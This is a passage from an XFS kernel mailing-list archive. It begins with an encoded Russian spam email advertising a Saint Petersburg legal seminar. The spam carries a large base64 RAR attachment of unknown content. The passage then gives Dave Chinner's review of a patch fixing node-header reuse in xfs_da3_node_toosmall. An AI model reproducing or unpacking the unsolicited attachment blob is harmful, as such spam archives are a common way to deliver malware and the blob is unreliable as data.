  • =EE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =EF=F0=E5=E4=EE=F1= =F2=E0=E2=EB=E5=ED=E8=FF =F3=F7=E0=F1=F2=EA=EE=E2 =EF=EE =F1=F2=F0=EE=E8=F2= =E5=EB=FC=F1=F2=E2=EE; =E2=EE=E7=ED=E8=EA=ED=EE=E2=E5=ED=E8=E5 =EF=F0=E0= =E2 =ED=E0 =EE=E1=FA=E5=EA=F2 =EF=F0=E8 =E2=E2=EE=E4=E5 =EE=E1=FA=E5=EA=F2= =E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE; =EB=E8=ED=E5=E9=ED=FB=E5 =EE= =E1=FA=E5=EA=F2=FB =E8 =E8=ED=E6=E5=ED=E5=F0=ED=FB=E5 =F1=E5=F2=E8;
  • =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF= =EA =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =E7=E4=E0=ED=E8=E9 =E8 =F1=EE=EE= =F0=F3=E6=E5=ED=E8=E9, =E2 =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =F1 N 33= 7-=D4=C7 =EE=F2 28.1l.2ol1
  • =F1=E4=E5=EB=EA=E8 =F1 =E7=E5=EC=EB=E5=E9;
  • =EA=E0=E4=E0=F1=F2=F0 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5= =E4=E2=E8=E6=E8=EC=EE=F1=F2=E8: =EF=F0=E8=ED=F6=E8=EF=FB =E2=E5=E4=E5=ED=E8= =FF =E8 =EF=F0=E5=E4=EE=F1=F2=E0=E2=EB=E5=ED=E8=E5 =F1=E2=E5=E4=E5=ED=E8= =E9;
  • =EC=E5=E6=E5=E2=E0=ED=E8=E5, =EA=E0=E4=E0=F1=F2=F0= =EE=E2=FB=E5 =EF=E0=F1=EF=EE=F0=F2=E0; =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2= =E8=E5 =F1=EB=F3=E6=E1 =D0=EE=F1=F0=E5=E5=F1=F2=F0=E0, =C1=D2=C8=A0 =E8 = =EF=F0.
  • =EF=EE=F1=EB=E5=E4=ED=E8=E5 = =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED=FB=E5 =E0=EA=F2=FB =E2 =F1=F4=E5=F0= =E5 =E7=E5=EC=EB=E5=F3=F1=F2=F0=EE=E9=F1=F2=E2=E0, =C3=CA=CD, =F0=E5=E3=E8= =F1=F2=F0=E0=F6=E8=E8 =F1=E4=E5=EB=EE=EA =F1 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1= =F2=FC=FE;
  • =20 =20

__________

=CC=E5=F0=EE=EF=F0=E8=FF=F2=E8= =E5 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=EE=E5

=F1 =CE7 =EF=EE 08 =EE=EA=F2=FF= =E1=F0=FF 20l3 =E3=EE=E4=E0, =E3=EE=F0=EE=E4 =D1=E0=ED=EA=F2-=CF=E5=F2=E5= =F0=E1=F3=F0=E3

=C7=E0=EF=E8=F1=FC =E8 =EA=EE= =ED=F1=F3=EB=FC=F2=E0=F6=E8=E8: :

+7 [ =F1=EF=E1 ] 98= __=D7 - 53 _ 6__3

------=_NextPart_001_1853_01CEB7EF.E37140C0-- ------=_NextPart_000_1852_01CEB7EF.E37140C0 Content-Type: application/octet-stream; name="meropriyatie_09.rar" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="meropriyatie_09.rar" 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 W/yDU6C8lk18aL6ecX8f/+TEPXsAQAcA ------=_NextPart_000_1852_01CEB7EF.E37140C0-- From david@fromorbit.com Sun Sep 22 19:08:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DEECD29DFB for ; Sun, 22 Sep 2013 19:08:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CFC8F8F8037 for ; Sun, 22 Sep 2013 17:08:31 -0700 (PDT) X-ASG-Debug-ID: 1379894909-04cb6c2e9d12e29e0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id FVxv8PNvMkfyR2np for ; Sun, 22 Sep 2013 17:08:29 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AigHAH6FP1J5LLrX/2dsb2JhbABZgwe8coVIgRQXdIIlAQEFJxMcIxAIAxgJJQ8FJQMhE4gEugkWj08HhB4Dl3uKOYc/gzYq Received: from ppp121-44-186-215.lns20.syd7.internode.on.net (HELO dastard) ([121.44.186.215]) by ipmail04.adl6.internode.on.net with ESMTP; 23 Sep 2013 09:38:27 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VNthQ-0003xJ-QS; Mon, 23 Sep 2013 10:08:24 +1000 Date: Mon, 23 Sep 2013 10:08:24 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix node forward in xfs_node_toosmall Message-ID: <20130923000824.GK12541@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix node forward in xfs_node_toosmall References: <20130920220519.585903357@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130920220519.585903357@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1379894909 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140835 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Sep 20, 2013 at 05:05:08PM -0500, Mark Tinguely wrote: > Commit f5ea1100 cleans up the disk to host conversions for > node directory entries, but because a variable is reused in > xfs_node_toosmall() the next node is not correctly found. > If the original node is small enough (<= 3/8 of the node size), > this change may incorrectly cause a node collapse when it should > not. That will cause an assert in xfstest generic/319: > > Assertion failed: first <= last && last < BBTOB(bp->b_length), > file: /root/newest/xfs/fs/xfs/xfs_trans_buf.c, line: 569 > > Keep the original node header to get the correct forward node. > > Signed-off-by: Mark Tinguely > --- > fs/xfs/xfs_da_btree.c | 6 ++++-- > 1 file changed, 4 insertions(+), 2 deletions(-) > > Index: b/fs/xfs/xfs_da_btree.c > =================================================================== > --- a/fs/xfs/xfs_da_btree.c > +++ b/fs/xfs/xfs_da_btree.c > @@ -1163,6 +1163,7 @@ xfs_da3_node_toosmall( > xfs_dablk_t blkno; > struct xfs_buf *bp; > struct xfs_da3_icnode_hdr nodehdr; > + struct xfs_da3_icnode_hdr firstnhdr; > int count; > int forward; > int error; > @@ -1221,13 +1222,14 @@ xfs_da3_node_toosmall( > count -= state->node_ents >> 2; > count -= nodehdr.count; > > + firstnhdr = nodehdr; > /* start with smaller blk num */ > forward = nodehdr.forw < nodehdr.back; > for (i = 0; i < 2; forward = !forward, i++) { > if (forward) > - blkno = nodehdr.forw; > + blkno = firstnhdr.forw; > else > - blkno = nodehdr.back; > + blkno = firstnhdr.back; > if (blkno == 0) > continue; > error = xfs_da3_node_read(state->args->trans, state->args->dp, Yes, that definitely a bug, but I think that the change doesn't scope correctly. The original node header doesn't need to be saved like this - the node header decoded in the loop needs a loop-scope variable. i.e.: /* start with smaller blk num */ forward = nodehdr.forw < nodehdr.back; for (i = 0; i < 2; forward = !forward, i++) { + struct xfs_da3_icnode_hdr thdr; + if (forward) blkno = nodehdr.forw; else blkno = nodehdr.back; if (blkno == 0) continue; error = xfs_da3_node_read(state->args->trans, state->args->dp, blkno, -1, &bp, state->args->whichfork); if (error) return(error); node = bp->b_addr; - xfs_da3_node_hdr_from_disk(&nodehdr, node); + xfs_da3_node_hdr_from_disk(&thdr, node); xfs_trans_brelse(state->args->trans, bp); - if (count - nodehdr.count >= 0) + if (count - thdr.count >= 0) break; /* fits with at least 25% to spare */ } Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Sep 22 19:25:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6ADCC29DFB for ; Sun, 22 Sep 2013 19:25:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 55F438F8039 for ; Sun, 22 Sep 2013 17:25:45 -0700 (PDT) X-ASG-Debug-ID: 1379895943-04cbb02c3e12d9dc0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id GFsCNVMj3titi23z for ; Sun, 22 Sep 2013 17:25:43 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: 